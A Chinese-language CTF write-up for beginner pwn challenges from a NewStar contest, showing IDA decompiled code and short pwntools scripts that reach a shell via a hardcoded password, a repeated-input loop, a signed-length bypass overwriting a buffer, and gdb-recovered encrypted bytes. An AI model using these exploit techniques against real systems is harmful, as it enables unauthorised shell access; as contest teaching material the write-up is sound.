新生赛,比赛 Newshar-week1 山林川泽 2024-10-07 2024-11-01 Real login 拿到附件直接丢ida
可以观察到题目给了system后门函数
点击main函数F5反编译成伪函数
再次点击进入func函数
观察到有if函数,进入之后发现有/bin/sh函数,可以拿到shell
返回按tab键,切换成汇编语言
找到密码,直接运行题目所给的ELF文件,输入给的密码NewStar!!!
get shell
ls
cat flag
game 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void __noreturn game() { int v0; // [rsp+0h] [rbp-10h] BYREF int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0; v0 = 0; puts("Let's play a game!"); alarm(5u); while ( 1 ) { printf("pls input you num: "); __isoc99_scanf("%d", &v0); if ( v0 < 0 || v0 > 10 ) break; v1 += v0; if ( v1 > 999 ) system("/bin/sh"); } exit(-1); }
观察发现要输入小于10大于1的数使得v1>999
联想到循环输入
1 2 3 4 5 6 7 8 9 from pwn import * p = remote("ip", port) for i in range(112): p.sendlineafter(b': ', b'9') p.interactive()
Overwrite 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 func() { int nbytes; // [rsp+Ch] [rbp-84h] BYREF size_t nbytes_4; // [rsp+10h] [rbp-80h] BYREF char nptr[72]; // [rsp+40h] [rbp-50h] BYREF unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); printf("pls input the length you want to readin: "); __isoc99_scanf("%d", &nbytes); if ( nbytes > 48 ) exit(0); printf("pls input want you want to say: "); read(0, &nbytes_4, (unsigned int)nbytes); if ( atoi(nptr) <= 114514 ) { puts("bad ,your wallet is empty"); } else { puts("oh you have the money to get flag"); getflag(); } return v4 - __readfsqword(0x28u); }
ida反编译
观察代码,题目给了get flag()
满足atoi(nptr)>114514即可
观察到,read()
函数中使用的是 unsigned int nbytes
,但在输入校验时 nbytes
是 int
类型
明显的整数溢出
输入-1即可绕过前面的 if(nbytes>48)
然后通过rbp来覆盖返回地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.terminal = ['tmux','splitw','-h'] # p = process('./pwn') p = remote('ip', port) payload = b'a'*0x30 + b'114515' p.sendlineafter(b': ', b'-1') p.sendafter(b': ', payload) p.interactive()
Gdb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall main(int a1, char **a2, char **a3) { size_t v3; // rax size_t v4; // rax int fd; // [rsp+0h] [rbp-460h] char s[9]; // [rsp+7h] [rbp-459h] BYREF _DWORD v8[12]; // [rsp+10h] [rbp-450h] BYREF __int64 v9; // [rsp+40h] [rbp-420h] __int64 v10; // [rsp+48h] [rbp-418h] char buf[1032]; // [rsp+50h] [rbp-410h] BYREF unsigned __int64 v12; // [rsp+458h] [rbp-8h] v12 = __readfsqword(0x28u); strcpy(s, "0d000721"); strcpy((char *)v8, "mysecretkey1234567890abcdefghijklmnopqrstu"); HIBYTE(v8[10]) = 0; v8[11] = 0; v9 = 0LL; v10 = 0LL; printf("Original: %s\n", s); v3 = strlen(s); sub_1317(s, v3, v8); printf("Input your encrypted data: "); read(0, buf, 0x200uLL); v4 = strlen(s); if ( !memcmp(s, buf, v4) ) { printf("Congratulations!"); fd = open("/flag", 0); memset(buf, 0, 0x100uLL); read(fd, buf, 0x100uLL); write(1, buf, 0x100uLL); } return 0LL; }
ida分析
看起来很复杂
可以看到程序逻辑是对一串字符串执行了加密操作,然后需要我们输入加密后的数据
对于加密函数sub_1317,可以发现完全看不懂
所以我们选择用gdb动态调试查看加密后的数据
输入b *$base(0x1836)
运行到加密函数处,可以发现,rdi 寄存器存的是要加密的内容
tel 0x7fffffffd717 指令查看字符串的内容
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = process('./gdb') elf = ELF('./gdb') payload = b'\x5d\x1d\x43\x55\x53\x45\x57\x45' p.sendline(payload) p.interactive()